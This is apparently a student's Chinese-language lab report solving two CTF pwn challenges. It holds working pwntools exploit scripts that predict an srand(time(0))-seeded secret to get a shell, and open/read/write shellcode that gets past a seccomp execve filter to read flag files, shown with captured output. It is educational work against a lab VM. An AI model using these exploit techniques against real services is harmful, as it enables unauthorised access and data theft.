《网络攻防实战》实验报告

第 11 次实验： lab11

姓名： 佐藤汉

学号： 215220029

21 级 计算机科学与技术系

邮箱： 2868135471@qq.com

时间：3h

一、实验目的

01_rand 的 flag，04_shellcode_hard 的 flag

二、实验内容

01_rand

解题思路：

观察源码可以知道，入侵者需要输入一个 secret key 从而得到靶机/bin/sh
而源码的 secret key 生成器采用了 srand()/rand()函数。
srand()可输入一个 seed 作为生成随机数的材料。
而本题很简单直接采用 time(0)作为 seed
我们只需想办法在 KALI 机上通过 srand(time(0))生成的随机数输入到靶机即可

脚本：

```
def do_guess(time_delta:int):
    try:
        p=remote("localhost",2001)
        guess=guess_num(time_delta)
        p.sendlineafter(b'Your secret:\n',str(guess).encode())
        p.sendline(b'echo pwned')
        r=p.recvline(keepends=False)
        print(r)
        if r==b’pwned’:
            p.interactive()
            exit(0)
        p.close()
    except EOFError as e:
        p.close()
```

截图：

```python
from ctypes import CDLL
from pwn import *
libc = CDLL("libc.so.6")

def guess_num(time_delta:int):
    libc.srand(libc.time(0)+time_delta)
    return libc.rand()

context.arch = 'amd64'
context.log_level = 'DEBUG'

def do_guess(time_delta:int):
    try:
        p=remote("10.0.2.15", 2001)
        guess=guess_num(time_delta)
        p.sendlineafter(b'Your secret:\n', str(guess).encode())
        p.sendline(b'echo pwned')
        r=p.recvline(keepends=False)
        print(r)
        if r==b'pwned':
            p.interactive()
            #exit(0)
        p.close()
    except EOFError as e:
        p.close()

for i in range(-20,20):
    print(i)
    do_guess(i)
    time.sleep(0.2)
```

Flag：

```
[DEBUG] Received 0x5b bytes:
    b'flag{flag1_260b96818b8cd410f9fb3139f611b6cd}\n'
    b'[https://ac.qq.com/Comic/comicInfo/id/645654]\n'
flag{flag1_260b96818b8cd410f9fb3139f611b6cd}
```

又直接又笨的方法：

我自己的方法比较笨，假设靶机上的时间和本地 KALI 机上的时间一致，那么直接在 KALI 上写一段生成 srand(time(0))随机数的程序，然后编译运行会得到一个随机数，然后在指定秒数里输入到靶机就可以得到 shell 了（我这里是设定 15 秒）

```
┌──(kali㉿kali)-[~/HA/week13/code]
└─$ nc 10.0.2.15 2001
Your secret:
640082588
whoami
flag1
id
uid=2001(flag1) gid=2001(flag1) groups=2001(flag1)
cat /flags/flag1.txt
flag{flag1_260b96818b8cd410f9fb3139f611b6cd}
[https://ac.qq.com/Comic/comicInfo/id/645654]
```

```c
#include <stdlib.h>
#include <time.h>
#include <stdio.h>

int main() {
    srand(time(0)+15);
    printf("%d",rand());
}
```

04_shellcode_hard

解题思路：

与 03_shellcode 不同的是，04 源码里有 sandbox 函数，里面对 execve 和 execveat 做了过滤。如果我们用 pwntools 生成相应命令的话，靶机会直接 kill 掉。

那么我们可以使用 pwntools 里的 shellcraft.cat()直接 cat /flags/flag4.txt

脚本：

```
from pwn import *
context.arch='amd64'
context.log_level='DEBUG'
p=remote("localhost",2004) # 记得改目标地址
shellcode=shellcraft.open("/flags/flag4.txt") # 给栈上压入字符串得到过程很无聊，用 shellcraft 生成即可。
print(shellcode) # 看看生成了什么 shellcode
# 注意 shellcode 是 INTEL 汇编格式!!!
# mov rdi,rsp -> rdi=rsp
# mov rax,0x0 -> rax=0x0
shellcode+='''
sub rsp,0x100
mov rdi,rax
mov dh,0x100>>8
mov rsi,rsp
mov rax,SYS_read
syscall

mov rdi,1
mov dh, 0x100>>8
mov rsi, rsp
mov rax, SYS_write
syscall
'''
p.sendafter(b'shellcode:\n',asm(shellcode).ljust(1024,b'\x90')) # nop padding
p.interactive()
```

截图：

直接 pwntools 版

```
from pwn import *
context.arch = 'amd64'
p= remote("10.0.2.15",2004)
sc = asm(shellcraft.cat("/flags/flag4.txt"))
p.sendafter(b"shellcode:",sc.ljust(1024))
p.interactive()
```

或者

手动编写版

```
from pwn import *
context.arch='amd64'
context.log_level='DEBUG'
p=remote("10.0.2.15",2004)
shellcode = shellcraft.open("/flags/flag4.txt")
shellcode+= '''

sub rsp,0x100
mov rdi,rax
mov dh,0x100>>8
mov rsi,rsp
mov rax,SYS_read
syscall

mov rdi,1
mov dh,0x100>>8
mov rsi,rsp
mov rax,SYS_write
syscall
'''

p. sendafter(b'shellcode:\n',asm(shellcode).ljust(1024,b'\x90'))
p.interactive()
```

Flag：

直接 pwntools 版 flag

```
flag{flag4_bf3c68085a6fe1f2d23a11180aa5890a}
```

手动编写版 flag

```
    000000b0  a0 76 46 cc  53 7f 00 00  c3 d8 30 cc  53 7f 00 00
  |·vF·|S···|··0·|S···|
    000000c0  0a 00 00 00  00 00 00 00  a0 76 46 cc  53 7f 00 00
  |····|····|·vF·|S···|
    000000d0  09 80 86 d1  01 56 00 00  fa 2b 30 cc  53 7f 00 00
  |····|·V··|·+0·|S···|
    000000e0  a8 0f df d1  fd 7f 00 00  be 72 86 d1  01 56 00 00
  |····|····|·r··|·V··|
    000000f0  00 c0 49 cc  53 7f 00 00  02 00 00 00  00 00 00 00
  |··I·|S···|····|····|
    00000100
flag{flag4_bf3c68085a6fe1f2d23a11180aa5890a}
[https://www.bilibili.com/video/BV1Nx411S7VG/]
[https://www.bilibili.com/video/BV1zx411C7g3/]
\xd1V\x00\x10\x86\xd1V\x00@5F\xccS\x7f\x00\x00M\xccS\x7f\x00\xb9
\xd40\xccS\x7f\x00\xa0vF\xccS\x7f\x00\xc3\xd80\xccS\x7f\x00
\x00\x00\x00\x00vF\xccS\x7f\x00    \x80\x86\xd1V\x00\xfa+0\xccS\
x7f\x00\xa8\x0f\xd1\xfd\x7f\x00\xber\x86\xd1V\x00\x00I\xccS\x7f\
```

三、 实验中遇到的问题及解决方案

没有解决的问题也可以写在这里。

四、 实验的启示/意见和建议

附：本次实验你总共用了多长时间？包括学习相关知识时间、完成实验内容时间、完成实验报告时间。（仅做统计用，时间长短不影响本次实验的成绩。）

董同学讲的非常有条理，很清晰，不然我这次作业就不会做了
第一次接触 pwntools，非常强大的工具，可以多学习学习